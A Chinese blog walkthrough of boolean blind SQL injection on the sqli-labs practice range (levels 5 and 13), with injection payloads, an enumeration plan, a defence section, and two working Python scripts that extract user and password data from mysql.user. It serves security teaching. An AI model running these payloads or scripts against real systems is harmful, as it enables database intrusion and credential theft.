布尔盲注--sqli-labs靶场第五关

关于布尔盲注

什么是布尔盲注?

布尔盲注是一种 SQL 注入攻击技术,攻击者利用真假值来推断数据库中的信息。它不需要注入恶意 SQL 代码,而是通过观察服务器响应的差异来获取信息。

原理

布尔盲注利用了布尔运算符,例如and和or。攻击者构造 SQL 查询,其中包含一个布尔表达式,该表达式会根据数据库中数据的真假值返回不同的结果。

适用情况

页面没有显示位,没有报错信息,只有成功和不成功两种情况。

攻击步骤

第一步:猜测长度

一般在使用布尔盲注时,我们要准确的猜测出正确的数据库名或表名,我们需要先知道他的长度,这时我们需要用到MYSQL的length()函数来判断长度。

例如:

?id=1' and length(database())=1 --+
?id=1' and length(database())=2 --+
?id=1' and length(database())=3 --+
?id=1' and length(database())=4 --+
?id=1' and length(database())=n --+

猜测长度从一开始猜测,知道猜到正确长度为止,当猜测长度错误时,会没有回显或回显异常,猜测长度正确时,回显正常

第二步:利用穷举猜测字符

我们知道,查询结果由一个个字符组成,每一个字符有95种可能性(大小写字母、数字、特殊符号),它们对应的ASCLL编码是32~126。

使用MySQL的 substr()函数截取查询结果的第一个字符,使用 ascii()函数 将截取的字符转换成 ASCLL编码,依次判断是否等于32,33,34……126。

例如:

?id=1' and ascii(substr( database(),1,1))=32 --+
?id=1' and ascii(substr( database(),1,1))=33 --+
?id=1' and ascii(substr( database(),1,1))=34 --+
......
?id=1' and ascii(substr( database(),1,1))=126 --+

这是猜测第一位字符的,那么猜测第n位字符则是

?id=1' and ascii(substr( database(),n,1))=x(32--126) --+

和猜测长度一样,当回显为空或者回显异常时,说明我们猜测的字符是错的,当回显正常时,说明我们猜测ASCLL编码所对应的字符是对的。

ASCLL编码表


总体思路

  1. 爆库名长度
  2. 根据库名长度爆库名
  3. 对当前库爆表数量
  4. 根据库名和表数量爆表名长度
  5. 根据表名长度爆表名
  6. 对表爆列数量
  7. 根据表名和列数量爆列名长度
  8. 根据列名长度爆列名
  9. 根据列名爆数据值

防御措施

防止布尔盲注攻击的最佳方法是使用安全编码实践,例如:

  • 使用参数化查询或预编译语句:这可以防止 SQL 注入,因为它将用户输入与 SQL 查询分开。
  • 对用户输入进行验证和清理:这可以防止攻击者注入恶意字符。
  • 限制对敏感数据的访问:这可以减少攻击者可以访问的信息量。
  • 使用 Web 应用程序防火墙 (WAF):这可以检测和阻止注入攻击。
  • 定期更新软件和补丁程序:这可以修复已知的漏洞。

结论

布尔盲注是一种隐蔽且危险的 SQL 注入攻击技术。通过了解其原理和防御措施,Web 应用程序开发人员可以保护他们的应用程序免受此类攻击。

我么使用sqlli-labs靶场的第五关来解释一下布尔盲注的原理

sqlli-labs靶场第五关

输入

?id=1'

出现报错,判断字符型注入

输入

id=-1'order by 3--+

时没有回显,需要使用其他方法。。。

去搜了大佬们的WP,这儿我们需要使用布尔盲注

布尔盲注,需要耗费大量的时间,它主要用到length()、ascii() 、substr()这三个函数。

输入

?id=1' and length(database())=1 --+
?id=1' and length(database())=2 --+
?id=1' and length(database())=3 --+
?id=1' and length(database())=4 --+
?id=1' and length(database())=5 --+
?id=1' and length(database())=6 --+
?id=1' and length(database())=7 --+
?id=1' and length(database())=8 --+

判断字符长度,到8时回显正常,说明字符长度为8

我们查询到的结果由一个一个字符组成,每一个字符可以是数字、英文字母、特殊符号,总共有95种可能,对应的ascll编码是32-126.

使用MySQL的 substr()函数截取查询结果的第一个字符,使用 ascii()函数 将截取的字符转换成 ASCLL编码,依次判断是否等于32,33,34……126。

输入

?id=1' and ascii(substr( database(),1,1))=32(32-126)--+

没有回显就代表猜测的字符是错的

输入

?id=1' and ascii(substr( database(),1,1))=115--+

时出现回显,SCLL编码的115对应的是字母s,所以第一个字符就是s

接着猜测后面的字符

?id=1' and ascii(substr( database(),1(1--8),1))=32(32--126)--+

最后一个一个的猜解出的答案为security,我们就得到了他的数据库名,接着用相同的办法去爆表名,字段名,最后得到flag,这个过程很繁琐,需要花费很长的时间,所以大多都是使用脚本去跑的。

布尔盲注脚本

GET请求

import requests
import re

# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://XXXXX"
# 猜解长度使用的payload
payload_len = """?id=1' and length(
                    (select group_concat(user,password)
                    from mysql.user)
                ) < {n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(
                    substr(
                        (select group_concat(user,password)
                        from mysql.user)
                    ,{n},1)
                ) = {r} -- a"""

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面中出现此内容则表示成功
        if 'You are in...........' in response.text:
            print('测试长度完成,长度为:', length,)
            return length;
        else:
            print('正在测试长度:',length)
            length += 1  # 测试长度递增

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    # 第一层循环,截取每一个字符
    for l in range(1, length+1):
        # 第二层循环,枚举截取字符的每一种可能性
        for n in range(33, 126):
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            # 页面中出现此内容则表示成功
            if 'You are in...........' in response.text:
                str+= chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;

# 开始猜解
try:
    length = getLength(url, payload_len)
    user_pass = getStr(url, payload_str, length)
    # 使用正则表达式提取用户名和密码
    match = re.search(r"user: (.*?) password: (.*)", user_pass)
    if match:
        print("用户名:", match.group(1))
        print("密码:", match.group(2))
    else:
        print("提取用户名和密码失败")
except requests.exceptions.RequestException as e:
    print("HTTP请求失败:", e)

 POST请求

import requests
import re

# 网站路径
url = "http://7eb82265178a435aa86d6728e7b1e08a.app.mituan.zone/Less-13/"
# 判断长度的payload
payload_len = """a') or length(
                    (select group_concat(user,password) 
                     from mysql.user)
                )>{n} -- a"""
# 枚举字符的payload
payload_str = """a') or ascii(
                    substr(
                        (select group_concat(user,password)
                        from mysql.user)
                    ,{l},1)
                )={n} -- a"""

# post请求参数
data= {
    "uname" : "a') or 1 -- a",
    "passwd" : "1",
    "submit" : "Submit"
}

# 判断长度
def getLen(payload_len):
    length = 1
    while True:
        # 修改请求参数
        data["uname"] = payload_len.format(n = length)
        response = requests.post(url=url, data=data)
        # 出现此内容为登录成功
        if '../images/flag.jpg' in response.text:
            print('正在测试长度:', length)
            length += 1
        else:
            print('测试成功,长度为:', length)
            return length;

# 枚举字符
def getStr(length):
    str = ''
    # 从第一个字符开始截取
    for l in range(1, length+1):
        # 枚举字符的每一种可能性
        for n in range(32, 126):
            data["uname"] = payload_str.format(l=l, n=n)
            response = requests.post(url=url, data=data)
            if '../images/flag.jpg' in response.text:
                str += chr(n)
                print('第', l, '个字符枚举成功:',str )
                break

try:
    length = getLen(payload_len)
    user_pass = getStr(length)
    # 使用正则表达式提取用户名和密码
    match = re.search(r"user: (.*?) password: (.*)", user_pass)
    if match:
        print("用户名:", match.group(1))
        print("密码:", match.group(2))
    else:
        print("提取用户名和密码失败")
except requests.exceptions.RequestException as e:
    print("HTTP请求失败:", e)

  • 21
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值